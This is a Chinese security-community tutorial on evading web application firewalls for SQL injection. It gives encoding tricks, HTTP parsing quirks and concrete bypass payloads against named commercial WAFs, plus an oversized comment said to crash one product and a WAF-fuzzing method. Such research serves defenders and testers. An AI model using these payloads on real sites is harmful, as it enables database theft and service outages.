原文鏈接:先知技術社區
Author:Tr3jer_CongRong Blog:www.Thinkings.org Mail:Tr3jer@gmail.com
0x00 前言
去年到現在就一直有人希望我出一篇關于waf繞過的文章,我覺得這種老生常談的話題也沒什么可寫的。很多人一遇到waf就發懵,不知如何是好,能搜到的各種姿勢也是然并卵。但是積累姿勢的過程也是迭代的,那么就有了此文,用來總結一些學習和培養突破waf的思想。可能總結的并不全,但目的并不是講那些網上搜來一大把的東西,So…并不會告訴大家現有的姿勢,而是突破Waf Bypass思維定勢達到獨立去挖掘waf的設計缺陷和如何實現自動化的Waf Bypass(這里只講主流waf的黑盒測試)
0x01 搞起
當我們遇到一個waf時,要確定是什么類型的?先來看看主流的這些waf,狗、盾、神、鎖、寶、衛士等等。。。(在測試時不要只在官網測試,因為存在版本差異導致規則庫并不一致)
![]()
1、云waf:
在配置云waf時(通常是CDN包含的waf),DNS需要解析到CDN的ip上去,在請求uri時,數據包就會先經過云waf進行檢測,如果通過再將數據包流給主機。
2、主機防護軟件:
在主機上預先安裝了這種防護軟件,可用于掃描和保護主機(廢話),和監聽web端口的流量是否有惡意的,所以這種從功能上講較為全面。這里再插一嘴,mod_security、ngx-lua-waf這類開源waf雖然看起來不錯,但是有個弱點就是升級的成本會高一些。
3、硬件ips/ids防護、硬件waf(這里先不講)
使用專門硬件防護設備的方式,當向主機請求時,會先將流量經過此設備進行流量清洗和攔截,如果通過再將數據包流給主機。
再來說明下某些潛規則(關系):
- 百度云加速免費版節點基于CloudFlare
- 安全寶和百度云加速規則庫相似
- 創宇云安全和騰訊云安全規則庫相似
- 騰訊云安全和門神規則庫相似
- 硬件waf自身漏洞往往一大堆
當Rule相似時,會導致一個問題,就比如和雙胞胎結婚曉得吧?嗯。
0x02 司空見慣
我們還需要把各種特性都記牢,在運用時加以變化會很有效果。
數據庫特性:
- 注釋:
#
--
-- -
--+
//
/**/
/*letmetest*/
;
利用注釋簡單繞過云鎖的一個案例:
![]()
攔截的,但// > 1個就可以繞過了,也就是///**/以上都可以。
![]()
- 科學記數法:
![]()
- 空白字符:
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
-
+號:

-
-號:

-
``符號:

-
~號:

-
!號:
-
@`形式`:

-
點號.1:
![]()
- 單引號雙引號:
![]()
- 括號select(1):
![]()
試試union(select)云盾會不會攔截
- 花括號:
這里舉一個云盾的案例,并附上當時fuzz的過程:
union+select 攔截
select+from 不攔截
select+from+表名 攔截
union(select) 不攔截
所以可以不用在乎這個union了。
union(select user from ddd) 攔截
union(select%0aall) 不攔截
union(select%0aall user from ddd) 攔截
fuzz下select%0aall與字段之間 + 字段與from之間 + from與表名之間 + 表名與末尾圓括號之間可插入的符號。
union(select%0aall{user}from{ddd}) 不攔截。
![]()
Bypass Payload:
1 union(select%0aall{x users}from{x ddd})
1 union(select%0adistinct{x users}from{x ddd})
1 union(select%0adistinctrow{x users}from{x ddd})
![]()
可運用的sql函數&關鍵字:
MySQL:
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函數
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串連接函數
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符轉換
Char(49)
Hex('a')
Unhex(61)
過濾了逗號
(1)limit處的逗號:
limit 1 offset 0
(2)字符串截取處的逗號
mid處的逗號:
mid(version() from 1 for 1)
MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函數
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
(2)字符串轉換函數
Ascii('a') 這里的函數可以在括號之間添加空格的,一些waf過濾不嚴會導致bypass
Char('97')
exec
Mysql BIGINT數據類型構造溢出型報錯注入:BIGINT Overflow Error Based SQL Injection http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html
容器特性:
- %特性:
asp+iis的環境中,當我們請求的url中存在單一的百分號%時,iis+asp會將其忽略掉,而沒特殊要求的waf當然是不會的:
![]()
修復方式應該就是檢測這種百分號%的周圍是否能拼湊成惡意的關鍵字吧。
- %u特性:
iis支持unicode的解析,當我們請求的url存在unicode字符串的話iis會自動將其轉換,但waf就不一定了:
![]()
修復過后:
![]()
這個特性還存在另一個case,就是多個widechar會有可能轉換為同一個字符。
s%u0065lect->select
s%u00f0lect->select
WAF對%u0065會識別出這是e,組合成了select關鍵字,但有可能識別不出%u00f0
![]()
其實不止這個,還有很多類似的:
字母a:
%u0000
%u0041
%u0061
%u00aa
%u00e2
單引號:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括號(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括號):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
- 畸形協議&請求:
asp/asp.net: 還有asp/asp.net在解析請求的時候,允許application/x-www-form-urlencoded的數據提交方式,不管是GET還是POST,都可正常接收,過濾GET請求時如果沒有對application/x-www-form-urlencoded提交數據方式進行過濾,就會導致任意注入。
![]()
php+Apache:
waf通常會對請求進行嚴格的協議判斷,比如GET、POST等,但是apache解析協議時卻沒有那么嚴格,當我們將協議隨便定義時也是可以的:
![]()
PHP解析器在解析multipart請求的時候,它以逗號作為邊界,只取boundary,而普通解析器接受整個字符串。 因此,如果沒有按正確規范的話,就會出現這么一個狀況:首先填充無害的data,waf將其視為了一個整體請求,其實還包含著惡意語句。
------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
通用的特性:
- HPP:
HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串多次出現同一個key時,根據容器不同會得到不同的結果。 假設提交的參數即為:
id=1&id=2&id=3
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
- 雙重編碼:
這個要視場景而定,如果確定一個帶有waf的site存在解碼后注入的漏洞的話,會有效避過waf。
unlencode
base64
json
binary
querystring
htmlencode
unicode
php serialize
- 我們在整體測試一個waf時,可測試的點都有哪些?
GET、POST、HEADER那么我們專門針對一個waf進行測試的時候就要將這幾個點全測試個遍,header中還包括Cookie、X-Forwarded-For等,往往除了GET以外其他都是過濾最弱的。
0x03 見招拆招
“正則逃逸大法”:或許大家沒聽說過這個名詞,因為是我起的。我發現很多waf在進行過濾新姿勢的時候很是一根筋,最簡單的比方,過濾了%23%0a卻不過濾%2d%2d%0a?上面提到八成的waf都被%23%0a所繞過。
![]()
![]()
![]()
科學計數法1union、1from?多次被坑的安全寶&百度云加速&Imperva:
![]()
![]()
過濾了union+select+from,那我select+from+union呢?使用Mysql自定義變量的特性就可以實現,這里舉一個阿里云盾的案例:
![]()
![]()
由于后面在調用自定義變量的時候需要用到union+select,所以還需要繞過這個點。/ddd/union/ddd/select 就可以了。 Bypass Payload:
![]()
如何做到通過推理繞過waf?這里舉一個騰訊云安全的案例:
![]()
繞過思路: 首先看看騰訊云安全怎么檢測sql注入的,怎么匹配關鍵字會被攔截,怎么匹配不會?
- union+select攔截
- select+from攔截
- union+from不攔截
那么關鍵的點就是繞過這個select關鍵字
- select all
- select distinct
- select distinctrow
既然這些都可以,再想想使用這樣的語句怎么不被檢測到?select與all中間肯定不能用普通的/**/這種代替空格,還是會被視為是union+select。select all可以這么表達/*!12345select all*/,騰訊云早已識破這種爛大街的招式。嘗試了下/!/中間也可以使用%0a換行。
![]()
*!12345%0aselect%20all*/還是會被攔截,這就說明騰訊云在語法檢測的時候會忽略掉數字后面的%0a換行,雖然屬于union+12342select,但簡單的數字和關鍵字區分識別還是做得到。再測試/*!12345select%0aall*/,結果就合乎推理了,根據測試知道騰訊云安全會忽略掉%0a換行,這就等于union+12345selectall, 不會被檢測到。(忽略掉%0a換行為了過濾反而可以用來加以利用進行Bypass)
![]()
![]()
可能會問,推理的依據并不能真正意義上證明忽略掉了%0a啊?當然要證明下啊,/*!12345%0aselect%0aall*/ 就被攔截了,說明剛開始檢測到12345%0aselect就不再檢測后方的了,union+12345select就已經可以攔截掉了。
![]()
還可能會問,既然忽略掉了%0a,那么/!select%0aall/是不是也可以啊,然而并不行。合理的推理很有必要。
Bypass Payload:
1' union/*!50000select%0aall*/username from users%23
1' union/*!50000select%0adistinct*/username from users%23
1' union/*!50000select%0adistinctrow*/username from users%23
![]()
不是繞不過狗,只是不夠細心:
union+select攔截。
select+from攔截。
union+from不攔截。
fuzz了下/*!50000select*/這個5位數,前兩位數<50 && 第二位!==0 && 后三位數==0即可bypass。(一點細節也不要放過。)
![]()
![]()
測試環境
Windows Server 2008 + APACHE + PHP + Mysql Bypass Payload:
1' union/*!23000select*/user,password from users%23
![]()
![]()
這里證明一個觀點:好姿勢不是死的,零零碎碎玩不轉的姿勢巧妙的結合一下。所以說一個姿勢被攔截不代表就少了一個姿勢。
0x04 別按套路出牌
云鎖版本迭代導致的 & 360主機衛士一直存在的問題:
![]()
注意POST那個方向,waf在檢測POST傳輸的數據過程中,沒有進行URL的檢測,也就是說waf會認為URL上的任何參數信息都是正常的。既然是POST請求,那就只檢測請求正文咯。(神邏輯)
在標準HTTP處理流程中,只要后端有接收GET形式的查詢字段,即使客戶端用POST傳輸,查詢字符串上滿足查詢條件時,是會進行處理的。(沒毛病)
![]()
![]()
點睛之圖:)
![]()
當waf成了宕機的罪魁禍首是什么樣的?舉一個安全狗的案例:
/*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/
注釋中包含超長查詢字符串,導致安全狗在識別的過程中掛掉了,連帶著整個機器Service Unavailable:
![]()
再舉一個云鎖也是因為數據包過長導致繞過的案例:
云鎖在開始檢測時先判斷包的大小是否為7250byte以下,n為填充包內容,設置n大小為2328時,可以正常訪問頁面,但是會提示攔截了SQL注入
![]()
當數據包超過2329時就可以成功繞過,2329長度以后的就不檢測了。?
![]()
0x05 猥瑣很重要
這里講個有意思的案例,并且是當時影響了安全寶、阿里云盾的姿勢:
有次睡前想到的,emoji圖標!是的,平時做夢并沒有美女與野獸。當時只是隨便一想,第二天問了5up3rc,他說他也想過,但測試并沒有什么效果。
![]()
emoji是一串unicode字集組成,一個emoji圖標占5個字節,mysq也支持emoji的存儲,在mysql下占四個字節:
![]()
既然在查詢的時候%23會忽略掉后面的,那么Emoji就可以插入到%23與%0A之間。再加多試了試,成功繞過了,200多個emoji圖標,只能多,但少一個都不行。。。
![]()
可能會說,這是因為超?查詢導致的繞過吧?并不是。
![]()
這么?,mysql也是會執行的:
![]()
![]()
我們再來測試阿里云盾:
![]()
繞過了。。。事情還沒看起來這么簡單。
![]()
當縮少emoji數量的話會攔截,想想還是再加多些試試:
![]()
還是攔截,那剛才的沒攔截是怎么回事?點根煙,逐一進行排查。發現能繞過的原因和emoji數量無關,而是某個emoji可以。
![]()
就是這個憤怒的emoji,其他的emoji都不行。唯獨憤怒臉可以:
![]()
將這些emoji進行urlencode看看特征,究竟是什么原因?看看哪些emoji插入不會被攔截:
![]()
有些emoji進行urlencode后是很?的,因為是幾個emoji進行組合的。
![]()
將這些payload進行注入進去。
![]()
難道只有這個憤怒臉插入進去就可以繞過?也不能這么說,我發現能繞過的字符都是ascii碼超過了127的字符:
![]()
那為什么憤怒臉的emoji可以?這里提到emoji的特征,常?的emoji是四位組成,前三位多數是一致的,把這三位插入payload試試:
![]()
可以實現繞過,再來看看憤怒臉的urlencode:
![]()
最后一位是%a0,那么也就是說完全可以忽略掉最后一位,而多數emoji第四位是 < ascii 127的,所以達到繞過的只是 > ascii 127的字符,會導致waf引擎無法檢測。
![]()
![]()
我是個技術人,雖然這是異想天開沒有任何根據的想法,但仍愿意去嘗試。courage to try!
0x06 自動化Bypass
首先總結下sqlmap的各種bypass waf tamper:
apostrophemask.py 用UTF-8全角字符替換單引號字符
apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
appendnullbyte.py 在payload末尾添加空字符編碼
base64encode.py 對給定的payload全部字符使用Base64編碼
between.py 分別用“NOT BETWEEN 0 AND #”替換大于號“>”,“BETWEEN # AND #”替換等于號“=”
bluecoat.py 在SQL語句之后用有效的隨機空白符替換空格符,隨后用“LIKE”替換等于號“=”
chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
equaltolike.py 用“LIKE”運算符替換全部等于號“=”
greatest.py 用“GREATEST”函數替換大于號“>”
halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL注釋
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
lowercase.py 用小寫值替換每個關鍵字字符
modsecurityversioned.py 用注釋包圍完整的查詢
modsecurityzeroversioned.py 用當中帶有數字零的注釋包圍完整的查詢
multiplespaces.py 在SQL關鍵字周圍添加多個空格
nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用于過濾器
overlongutf8.py 轉換給定的payload當中的所有字符
percentage.py 在每個字符之前添加一個百分號
randomcase.py 隨機轉換每個關鍵字字符的大小寫
randomcomments.py 向SQL關鍵字中插入隨機注釋
securesphere.py 添加經過特殊構造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替換空格符
space2dash.py 用破折號注釋符“–”其次是一個隨機字符串和一個換行符替換空格符
space2hash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2morehash.py 用磅注釋符“#”其次是一個隨機字符串和一個換行符替換空格符
space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
space2mssqlhash.py 用磅注釋符“#”其次是一個換行符替換空格符
space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
space2mysqldash.py 用破折號注釋符“–”其次是一個換行符替換空格符
space2plus.py 用加號“+”替換空格符
space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
unmagicquotes.py 用一個多字節組合%bf%27和末尾通用注釋一起替換空格符
varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF
versionedkeywords.py 用MySQL注釋包圍每個非函數關鍵字
versionedmorekeywords.py 用MySQL注釋包圍每個關鍵字
xforwardedfor.py 添加一個偽造的HTTP頭“X-Forwarded-For”來繞過WAF
看起來很全,但有個缺點就是功能單一,靈活程度面對當今的主流waf來說很吃力了。 鑒于多數waf產品是使用Rule進行防護,那么這里也不提什么高大上的機器學習。就是簡單粗暴的fuzz。
提到系統的訓練,鑒于多數waf產品是使用Rule進行防護,那么這里不說什么機器學習。來點簡單粗暴有效果的修復方案:我把每個sql關鍵字比喻成“位”,將一個“位”的兩邊進行模糊插入各種符號,比如注釋(# — /**/)、邏輯運算符、算術運算符等等。
15年黃登在阿里云安全峰會提到的fuzz手法通過建立一個有毒標識模型,將將其插入到各種“位”,測試其waf。
![]()
在這基礎上其實可以在更加全面的建立模型。因為我發現一個問題,常規繞過姿勢都會被攔截。但是呢,稍加fuzz下其他“位”,做一些變通就又能繞過。最基本的一句注入語句就有這些位:
![]()
最常見的四種sql注入語句:select、update、insert、delete
有毒標識定義為n
“位”左右插入有毒表示那么就是x的n次冪
而且其他數據庫也各有各的語法糖,次數量定義為y
如果再將其編碼轉換定位為m
其結果最少就得有:
Factor[((x^n)*4 + x*y)*m]
通常waf引擎先轉換m后再去匹配,這個還是要看場景。還有關鍵字不止這些,稍微復雜一點的環境就會需要更多的關鍵字來注入,也就會需要fuzz更多的位。還沒說特殊字符,根據系統含有特殊意義的字符等等,也要有所顧忌。
當前幾個關鍵字達到繞過效果時,只需繼續fuzz后面幾個位即可。 還有就是傳輸過程中可測試的點:
![]()
因為當我們在傳輸的過程中導致的繞過往往是致命的,比如中間件的特性/缺陷,導致waf不能識別或者是在滿足特定條件下的欺騙了waf。
0x07 End
一寫起來就根本停不起來,后期決定出一系列waf繞過文,例如文件上傳、webshell防御、權限提升等Waf繞過。xss的bypass就算了,防不勝防…(如果又想到什么有趣的手法的話,我會以下面回帖的方式給大家)
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/218/